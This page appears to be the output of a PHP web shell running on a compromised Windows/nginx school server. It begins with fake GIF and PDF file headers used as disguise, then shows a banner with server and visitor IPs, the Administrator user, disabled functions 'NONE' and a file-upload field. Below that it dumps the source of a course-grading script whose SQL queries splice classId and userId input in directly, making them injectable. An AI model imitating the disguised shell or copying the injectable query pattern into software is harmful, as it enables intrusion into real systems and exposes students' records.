GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/common/Class/ |
Upload File : |
<? // common/Class/ClassProfile_Grade.phpinc debugTrackBegin(); #if (dc()) echo "<b>".__FILE__."</b><br>\n"; require('Course/get_HTTP_REFERER.phpinc'); // Get the classId and userId. $f_classId = formValue('classId'); $f_userId = formValue('userId'); $eId = formValue('eId',''); $sId = formValue('sId',''); $f_FromGradebook = formValue('FromGradebook'); if ( !$f_FromGradebook ) $f_FromGradebook = 0; $f_ReturnFromGrading = formValue('ReturnFromGrading'); if ( !$f_ReturnFromGrading ) $f_ReturnFromGrading = 0; // Verify the classId. if (!isset($f_classId) || $f_classId == '') { ?> The classId was not set. <? require('common/pageFooter.phpinc'); exit; } // Verify the userId. if (!isset($f_userId) || $f_userId == '') { ?> The userId was not set. <? require('common/pageFooter.phpinc'); exit; } #printVar("\$_SESSION['emailGrade']",$_SESSION['emailGrade']); // Get class info. $query = " SELECT classId, courseId, YRTR, classSection, studentProfilePoints, classProfilePoints, lastModified, modifiedBy FROM class WHERE classId IN (".$f_classId.") AND YRTR = '".$_SESSION['YRTR']['User']."' ORDER BY lastModified DESC "; $classResult = query_do($query); $classCount = $_SESSION['qry']['count']; if ($classCount) { // The class was found. $classRow = mysqli_fetch_assoc($classResult); $f_classProfilePoints = $classRow['classProfilePoints']; // Get course info. $query = " SELECT courseNumber, courseTitle FROM course WHERE courseId = ".$classRow['courseId']." "; $courseResult = query_do($query); $courseCount = $_SESSION['qry']['count']; if ($courseCount) { $courseRow = mysqli_fetch_assoc($courseResult); $f_courseNumber = $courseRow['courseNumber']; } else { ?> The courseNumber for courseId <?=$classRow['courseId']?> was not found. <? require('common/pageFooter.phpinc'); exit; } // if ($courseCount) } else { // The class was not found. ?> The classId (<?=$f_classId?>) was not found. <? require('common/pageFooter.phpinc'); exit; } // if ($classCount) // Begin the page. $js .= ",ClassEvaluations,wforms"; $headTitle = '_CST_ - '.$f_courseNumber.' Grade Class Profile'; $pageTitle = '_CST_<br>'.$f_courseNumber.' Grade Class Profile'; require('common/pageHeader.phpinc'); require('common/studentInfo.phpinc'); // Get and display user info. $sectionTitle = $f_courseNumber.' Class Profile'; require('common/sectionHeader.phpinc'); // Get the student's Class Profile. $query = " SELECT * FROM classprofile WHERE classId IN (".$f_classId.") AND userId = ".$f_userId." AND classprofileYRTR = '".$_SESSION['YRTR']['User']."' ORDER BY lastModified DESC "; #echo "\$query=",$query,": ",basename(__FILE__),": ",__LINE__,"<br>\n"; $classprofileResult = query_do($query); $classprofileCount = $_SESSION['qry']['count']; if ($classprofileCount) { $classprofileRow = mysqli_fetch_assoc($classprofileResult); mysqli_data_seek($classprofileResult, 0); $classprofileFormNumber = 0; while ($classprofileRow = mysqli_fetch_assoc($classprofileResult)) { // Display the current Class Profile. $classprofileFormNumber++; $f_classprofileId = $classprofileRow['classprofileId']; $f_classprofileYRTR = $classprofileRow['classprofileYRTR']; $f_classprofileClass = '<br>'.str_replace("\n","<br>",trim($classprofileRow['classprofileClass'])); if ($f_classprofileClass == '<br>') $f_classprofileClass = ''; $f_classprofileOutcome = '<br>'.str_replace("\n","<br>",trim($classprofileRow['classprofileOutcome'])); if ($f_classprofileOutcome == '<br>') $f_classprofileOutcome = ''; $f_classprofileGrade = $classprofileRow['classprofileGrade']; $f_classprofileComment = $classprofileRow['classprofileComment']; $f_classprofileInternalComment = $classprofileRow['classprofileInternalComment']; $f_classprofileSubmitted = $classprofileRow['classprofileSubmitted']; $f_error = false; if ($f_classprofileClass != '') { $f_classprofileClassError = ''; } else { $f_error = true; $f_classprofileClassError = '<br><span class="error">Describe why you took '.$courseRow['courseNumber'].' '.$courseTitle.'.</span>'; } if ($f_classprofileOutcome != '') { $f_classprofileOutcomeError = ''; } else { $f_error = true; $f_classprofileOutcomeError = '<br><span class="error">Describe what you expect to learn from '.$courseRow['courseNumber'].' '.$courseTitle.'.</span>'; } $f_classprofileGradeValue = $f_classprofileGrade; if ($f_classprofileGradeValue == '') { $f_classprofileGradeValue = 0; } $f_percentage = intval($f_classprofileGradeValue/$f_classProfilePoints*1000+.5)/10; if (!isset($f_HTTP_REFERER)) { $f_HTTP_REFERER = $_SERVER['HTTP_REFERER']; } ?> <div style="margin:20px;"> <form name="form_classprofile_grade_<?=$classprofileFormNumber?>" action="<?=php_self()?>" method="post"> <input name="f_classId" type="hidden" value="<?=$f_classId?>"> <input name="f_classprofileId" type="hidden" value="<?=$f_classprofileId?>"> <input name="f_classProfilePoints" type="hidden" value="<?=$f_classProfilePoints?>"> <input name="f_form" type="hidden" value="form_classprofile_grade"> <input name="f_HTTP_REFERER" type="hidden" value="<?=$f_HTTP_REFERER?>"> <input name="f_task" type="hidden" value="ClassProfile"> <input name="f_subtask" id="id_subtask" type="hidden" value=""> <input name="f_FromGradebook" type="hidden" value="<?=$f_FromGradebook?>"> <input name="f_ReturnFromGrading" type="hidden" value="<?=$f_FromGradebook?>"> <input name="f_userId" id="f_userId" type="hidden" value="<?=quot($f_userId)?>"> <input name="eId" id="eId" type="hidden" value="<?=quot($eId)?>"> <input name="sId" id="sId" type="hidden" value="<?=quot($sId)?>"> <input name="f_uuid" id="f_uuid" type="hidden" value="<?=uuid()?>"> <ol start="1"> <li class="normal"><b>Why</b>. Describe why you took <?=$courseRow['courseNumber']?> <?=$courseRow['courseTitle']?>. <span class="info"><?=$f_classprofileClass?></span> <?=$f_classprofileClassError?> <br><br> </li> <li class="normal"><b>What</b>. Describe what you expect to learn from <?=$courseRow['courseNumber']?> <?=$courseRow['courseTitle']?>. <span class="info"><?=$f_classprofileOutcome?></span> <?=$f_classprofileOutcomeError?> <br><br> </li> </ol> <div class="normal"> <table> <tr><td colspan="2">Submitted on <?=$classprofileRow['lastModified']?>.</td></tr> <tr><td colspan="2">This Class Profile is worth <?=$f_classProfilePoints?> points.</td></tr> <? if (isset($f_classprofileGrade_Error)) { ?> <tr><td></td><td><?=$f_classprofileGrade_Error?></td></tr> <? } ?> <tr> <td class="right">Grade:</td> <td> <? if ($f_subtask == "Grade" || $f_subtask == "Re-grade") { ?> <input type="text" class="" name="f_classprofileGrade" id="id_classprofileGrade" type="text" value="<?=quot($f_classprofileGrade)?>" style="width:2em">/<?=$f_classProfilePoints?> points (<strong><?=gradeLetterAC($f_percentage)?></strong>, <?=$f_percentage?>%). <? } else { ?> <span class="info"><strong><?=gradeLetterAC($f_percentage)?></strong>, <?=quot($f_classprofileGrade)?>/<?=$f_classProfilePoints?> points (<?=$f_percentage?>%).</span> <? } ?> <input type="hidden" name="emailGradeCheck" value="1"> <input type="checkbox" name="emailGrade" id="" value="1"<?=$_SESSION['emailGrade']?>> Email grade. <? if ( $classprofileRow['classprofileSubmitted'] && !$classprofileRow['classprofileGraded']) { ?> <input type="button" name="no_subtask" id="id_GradeSet" value="Grade <?=$f_classProfilePoints?>" onClick="setGrade(this,<?=$f_classProfilePoints?>);"> <? } ?> </td> </tr> <? if (isset($f_classprofileComment_Error)) { ?> <tr><td></td><td><?=$f_classprofileComment_Error?></td></tr> <? } ?> <tr> <td class="right">Comment:</td> <td> <? if ($f_subtask == "Grade" || $f_subtask == "Re-grade") { ?> <textarea class="" name="f_classprofileComment" id="f_classprofileComment" style="height:10em;width:40em;"><?=htmlView($f_classprofileComment)?></textarea> </td> </tr> <tr> <td class="right">Internal comment:</td> <td> <textarea class="" name="f_classprofileInternalComment" id="f_classprofileInternalComment" style="height:10em;width:40em;"><?=htmlView($f_classprofileInternalComment)?></textarea> </td> </tr> <tr><td class="center" colspan="2"> <? if ($classprofileRow['classprofileSubmitted']) { if (!$classprofileRow['classprofileGraded']) { ?> <input type="button" name="no_subtask" id="GradeButton" value="Grade" onClick="submitForm(this);"> <input type="button" name="no_subtask" value="Cancel" onClick="submitForm(this);"> <? } else { ?> <input type="button" name="no_subtask" value="Re-grade" onClick="submitForm(this);"> <input type="button" name="no_subtask" value="Done" onClick="submitForm(this);"> <? } } else { ?> <input type="button" name="no_subtask" value="Email request for Class Profile submission" onClick="submitForm(this);"> <input type="button" name="no_subtask" value="Grade" onClick="submitForm(this);"> <input type="button" name="no_subtask" value="Cancel" onClick="submitForm(this);"> <? } ?> <br> <div class="left"> Replacement codes:<br> <strong>=e:</strong> <?=GradeCommentCodeReplace_e('Class Profile',$f_courseNumber,$f_classProfilePoints,$f_classprofileGrade,"=e")?><br> <strong>=g:</strong> <?=GradeCommentCodeReplace_g('Class Profile',$f_courseNumber,$f_classProfilePoints,$f_classprofileGrade,"=g")?><br> <strong>=p:</strong> <?=GradeCommentCodeReplace_p('Class Profile',$f_courseNumber,"=p")?><br> Percentage points: <? $pts_original = 0; for ($p=100; $p>0; $p-=5) { $pts = intval($f_classProfilePoints*$p/100+.5); if ( $pts != $pts_original) { ?> <?=$p?>%=<?=$pts?> <? } $pts_original = $pts; } ?> <? } else { $f_classprofileCommentText = htmlCRtoBR(GradeCommentCodeReplace('Class Profile',$f_courseNumber,$f_classProfilePoints,$f_classprofileGrade,$f_classprofileComment)); ?> <span class="info"><?=$f_classprofileCommentText?></span> <? } ?> <br> <!-- cut-and-paste text --> cut-and-paste text<br> You lost 20% due to sentence structure problems. Improper capitalization, spelling errors, etc.<br> =e<br> </div> </td> </tr> </table> </div> </form> </div> <? } // while ($classprofileRow = mysqli_fetch_assoc($classprofileResult)) } else { $f_classprofileId = 0; $f_classprofileYRTR = ''; $f_classprofileClass = ''; $f_classprofileOutcome = ''; $f_classprofileSubmitted = 0; $f_classprofileGraded = 0; $f_classprofileGradedOn = ''; $f_classprofileGradedBy = 0; $f_classprofileGrade = 0; $f_classprofileComment = ''; $f_classprofileInternalComment = ''; ?> <form name="form_classprofile_grade" action="<?=php_self()?>" method="post"> <input name="f_classId" type="hidden" value="<?=$f_classId?>"> <input name="f_classprofileId" type="hidden" value="<?=$f_classprofileId?>"> <input name="f_classProfilePoints" type="hidden" value="<?=$f_classProfilePoints?>"> <input name="f_form" type="hidden" value="form_classprofile_grade"> <input name="f_HTTP_REFERER" type="hidden" value="<?=$f_HTTP_REFERER?>"> <input name="f_task" type="hidden" value="ClassProfile"> <input name="f_userId" id="f_userId" type="hidden" value="<?=quot($f_userId)?>"> <input name="f_uuid" id="f_uuid" type="hidden" value="<?=uuid()?>"> <input name="f_subtask" id="id_subtask" type="hidden" value=""> <input name="f_FromGradebook" type="hidden" value="<?=$f_FromGradebook?>"> <input name="f_ReturnFromGrading" type="hidden" value="<?=$f_FromGradebook?>"> <input name="eId" id="eId" type="hidden" value="<?=quot($eId)?>"> <input name="sId" id="sId" type="hidden" value="<?=quot($sId)?>"> <table> <tr><td> No Class Profile was found.<br> <input type="button" name="no_subtask" value="Email request for Class Profile" onClick="submitForm(this);"> <input type="button" name="no_subtask" value="Grade as 0" onClick="submitForm(this);"> <input type="button" name="no_subtask" value="Cancel" onClick="submitForm(this);"> </td></tr> </table> </form> <? } ?> <script type="text/javascript"> if ( document.form_classprofile_grade && document.form_classprofile_grade.f_classprofileGrade ) document.form_classprofile_grade.f_classprofileGrade.focus(); function setGrade(e_button,grade) { //alert('setGrade('+e_button.id+','+grade+')'); //alert('e_button.form.name='+e_button.form.name); e_form = e_button.form; e_grade = document.forms[e_form.name].elements['id_classprofileGrade']; e_grade.value = grade; e_gradebutton = document.forms[e_form.name].elements['GradeButton']; //alert('submitForm(e_gradebutton);'); submitForm(e_gradebutton); } function submitForm(e_button) { e_form = e_button.form; //alert('e_form.name='+e_form.name); e_subtask = document.forms[e_form.name].elements['id_subtask']; //alert('e_subtask.form.name='+e_subtask.form.name); e_subtask.value = e_button.value; document.forms[e_form.name].submit(); } </script> <? setDebugOn(); require('common/pageFooter.phpinc'); #exit;